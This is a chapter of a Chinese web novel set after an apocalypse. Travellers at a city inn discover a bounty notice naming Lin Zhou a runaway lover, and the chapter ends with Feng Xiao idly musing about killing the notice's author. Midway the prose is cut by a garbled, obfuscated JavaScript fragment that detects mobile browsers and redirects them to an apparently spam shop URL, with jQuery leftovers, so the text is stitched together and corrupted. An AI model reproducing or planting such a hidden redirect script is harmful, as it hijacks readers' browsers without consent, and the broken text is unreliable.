车子缓缓驶入城门,门洞很长,两侧的墙壁上挂着火把,火光把车厢里照得忽明忽暗。头顶能听见脚步声,有人在城墙上走动,皮靴踩在石板上,发出沉闷的声响。
车子穿过门洞,进入禹城内部,视线一下子开阔了。
街道不宽,两旁的建筑挤挤挨挨,高高低低,像是被人随手搭起来的积木。从窗户里透出昏黄的光,看起来像是油灯。
街上有很多的人,有的背着货物匆匆走过,有的蹲在路边摆摊,摊上摆着各种各样的东西——旧时代的收音机,生锈的工具,发霉的书籍,还有不知道从哪儿翻出来的衣服和鞋子。一个老头坐在墙角,面前摆着一排玻璃罐子,罐子里泡着不知名的东西,在火光下泛着诡异的颜色。
不远处有一栋两层的木楼,门口挂着红灯笼,楼上的窗户半开着,隐约能听见女人的笑声和男人的吆喝。卢双玲看了一眼,飞快地转过头。
再往前是一家酒馆,门板歪歪斜斜地挂着,但里面人声鼎沸,有人在划拳,有人在叫骂,有人在扯着嗓子唱歌。酒香从里面飘出来,混着劣质烟草的味道,呛得人嗓子发干。
街角还有一家铺子,门口摆着各种金属零件和拆了一半的机器,一个满脸油污的男人蹲在地上,正用扳手拧着什么。
封宵把车拐进一条小巷,停在一栋三层小楼后面。那栋楼看起来比周围的建筑结实一些,外墙刷过一层灰浆,窗户上装着铁栏杆,门口还挂着一块木牌,上面刻着“乌鸦旅馆”四个字。
“到了。”
四个人下了车,封宵走在最前面,推开旅馆的门。
门内是一个不大的厅堂,摆着几张旧沙发和一把摇椅。墙上挂着几盏油灯,火苗微微跳动着,把影子投在地板上。空气里有股木头和熏香混合的气味,暖烘烘的。
柜台后面,一个老头正趴在桌上打瞌睡。
他穿着一件洗得发白的旧棉袄,头发花白稀疏,脸上布满了皱纹。
封宵走到柜台前,敲了敲桌面。
“老头。”
老头没动。
“老头。”封宵又敲了敲。
老头的身体猛地弹了一下,抬起头,迷迷糊糊地眨了眨眼。他看清面前站着的人,愣了一下,然后那双浑浊的眼睛忽然亮了。
“哎呀,稀客啊?!”
他站起来,动作快得不像个老人,绕过柜台,一把抓住封宵的手臂。
“不是小老头眼花了吧?真是你!我还以为你死了!你上哪儿去了?你——”老头的一连串发问被封宵打断。
“打住。我可不是来跟你叙旧的。”
老头这才注意到他身后还站着三个人。
他的目光从郭离身上扫过,从卢双玲身上扫过,然后——
停住了。
他看着林昼。
那双浑浊的眼睛忽然定住,他的嘴唇动了动,发出一个含糊的音节,但什么话都没说出来。他的脸色忽然变了,直直地盯着林昼。
“你……”老头的声音发抖,“你是……”
就在郭离和卢双玲以为这是什么大型认亲现场的时候,封宵往前迈了一步,挡在林昼前面。
封宵的声音不大,但很沉:“你这么盯着人看,很没礼貌。”
老头愣了一下,他看了看封宵,又看了看他身后那个人,喉结动了动。
“不是……”他的声音压低了,带着急切,“前几天来了一群人——”
他赶紧冲到门口把大门关上,转过身走到柜台后面,蹲下去翻什么东西,最后从柜子最底层翻出一张纸。
【浮罗达悬赏令】
悬赏目标:男,25岁,黑发,容貌极其出众(附照片),身高约182,体态偏瘦。
身份:萧知沉阁下情人(因情感纠纷私自出逃)。
悬赏金额:提供确切行踪者,赏金10000点贡献点;安全护送其返回浮罗达者,赏金50000点贡献点,并授予浮罗达荣誉居民身份。
照片用的是浮罗达专用的光感相纸,照片里的青年穿着简单的白色亚麻衬衫,袖口松松挽到手肘,露出线条分明的小臂。他坐在浮罗达中央公园的长椅上,微微垂着头,修长的手指正翻过一页纸质书。阳光透过穹顶洒下来,在他睫毛下投出细碎的阴影,唇角带着若有若无的弧度。
照片角落还拍到了半杯放在长椅上的咖啡,杯壁凝结着水珠,沿着弧度缓缓滑下一道水痕,旁边搁着一副金丝眼镜。整个画面透着诡异的生活气息,像是从某个平行时空截取的片段。
“这照片……”郭离凑近看了看,“这角度是偷拍啊,还挺会选角度。”
卢双玲赞同道:“把林哥拍得像旧时代文艺片男主角。”
封宵跟着凑过去,念出声:
“悬赏令……系浮罗达行政中枢秘书长萧知沉之——之——”
他的声音卡住了。
“情人。”老头替他说完,“上面写的是情人。”
封宵抬起头,看向林昼:“哥,情人是什么?”
几个人同时愣住,看向封宵。
厅堂里安静了几秒,老头张着嘴,看着封宵,像看一个从外星来的生物。郭离的表情僵在脸上,嘴角抽了抽,想笑又不敢笑。卢双玲默默低下头,肩膀微微颤抖出卖了她的心情。
林昼看着封宵那双琥珀色的眼睛,里面充满了好奇——他是真的不知道。
林昼忽然觉得太阳穴有点疼。
“情人就是……”他斟酌了一下措辞,“感情特别好的人。”
封宵眨了眨眼。
“那我和哥感情也特别好。”他的语气理所当然,“那我也是哥的情人。”
老头的嘴巴张得更大,下巴上的褶子叠了好几层。郭离终于没忍住,发出一个奇怪的声响,像是被自己的口水呛到,他赶紧捂住嘴,别过脸去。
卢双玲抬起头,飞快地看了林昼一眼,八卦的本性油然而生,她现在非常想知道他是不是悬赏令里面说的情人。
林昼的脸上没什么表情,但他的耳朵尖红了。
“不是那个意思。”他的声音比平时轻了一点。
“那是什么意思?”封宵一脸认真地追问。
“就是……”他顿了顿,“很亲密的人。有……特殊感情的人。”
封宵想了想,说道:“那不就是我吗?”
林昼看着封宵。
封宵也看着林昼。
“哥,”封宵又开口了,“你是不是不想让我当你的情人?”
这句话一出,厅堂里的空气彻底凝固了。
老头终于忍不住了,发出一声类似于咳嗽的声响,转过身去假装整理柜台上的东西。他的手在抖,把一个茶杯碰倒了,又手忙脚乱地扶起来。
郭离终于笑出声,他捂着肚子,弯着腰,笑得直抽抽,一边笑一边说:“对不起……对不起……我不应该笑的……但是……”他说不下去了。
卢双玲也笑了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388031|200290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>只有林昼没有笑。
他站在那里,看着封宵等待答案的眼睛。他知道封宵不是故意的——这孩子是真的不懂。
他忽然有点不知道该怎么接这句话。
“不是不想。”
封宵的眼睛亮了一下。
“那哥是同意了?”
“没有。”林昼说。
封宵的眼睛又暗下去,他脸上带着一丝委屈,像一只被主人反复逗弄又始终够不到骨头的小狗。
林昼深吸了一口气:“这个事,以后再说。”
封宵张了张嘴,还想说什么,但林昼已经转过身,走向柜台,他对老头说:“请问给这东西的那群人离开了吗?”他的声音恢复成平时的平淡。
老头答道:“这不是还没有吗?我真怕你们撞上了!”
他说着从柜台后面摸出三把钥匙,递给林昼:“你们今晚在这就先别出去了,那张悬赏令在广场上贴得到处都是。”
“好。”林昼接过来,给卢双玲和郭离分发钥匙后就转身上了楼。
走了两步,他停下来。
“封宵。”
“在!”封宵的声音立刻响起来。
“上来。”
封宵愣了一下,然后飞快地跑过去,三步并作两步追上林昼,跟在他身后上了楼。
郭离和卢双玲也跟在后面,他问卢双玲:“你说这小子,是真不懂还是装不懂?”
卢双玲想了想:“应该是真不懂。”
“你怎么知道?”
“因为……”卢双玲顿了顿,“他看林哥的眼神,不是那种眼神。”
郭离看了她一眼,没再问了。
楼梯很窄,木制的,踩上去咯吱咯吱响。墙上的石灰剥落了大半,露出里面的砖头。空气里有一股陈旧的木头味,混着楼下飘上来的熏香。
走到二楼,走廊尽头亮着一盏灯。林昼和封宵的房间门开着,隐约能听见封宵的声音从里面传出来。
“……哥你生气了?”
“没有。”
“那你为什么耳朵红?”
“……火烤的。”
“可是火在一楼啊。”
沉默。
郭离和卢双玲对视一眼,默契地加快脚步,推开隔壁房间的门,闪身进去,轻轻关上门。
走廊里安静下来。
只剩下封宵的声音,隔着薄薄的墙壁,闷闷地传过来:
“哥,我是不是说错话了?”
过了一会儿。
“没有。”
又过了一会儿。
“那我到底能不能当你的情人?”
更长的沉默。
“睡吧。”
走廊里的油灯被吹灭了一盏,只剩下楼梯口那盏还亮着,窗外的禹城还没有完全睡去。远处隐约传来酒馆里的笑骂声,有人在巷子里踢翻了什么,哐当一声,又归于沉寂。风从窗板的缝隙里钻进来,带着深秋的凉意。
林昼的呼吸变得均匀了。
封宵侧躺着,脸对着林昼的方向。黑暗中他看不清林昼的脸,只能看见一个模糊的轮廓,他听了一会儿他的呼吸声,觉得心里平稳又宁静。
然后他翻了个身,面朝天花板,小声嘀咕道:“我现在的目标,就是当哥的情人。”
他顿了顿。
“那个叫萧知沉的……要不要杀掉好了。”
他把被子往上拉了拉,盖住下巴。
“哥会不高兴吗?”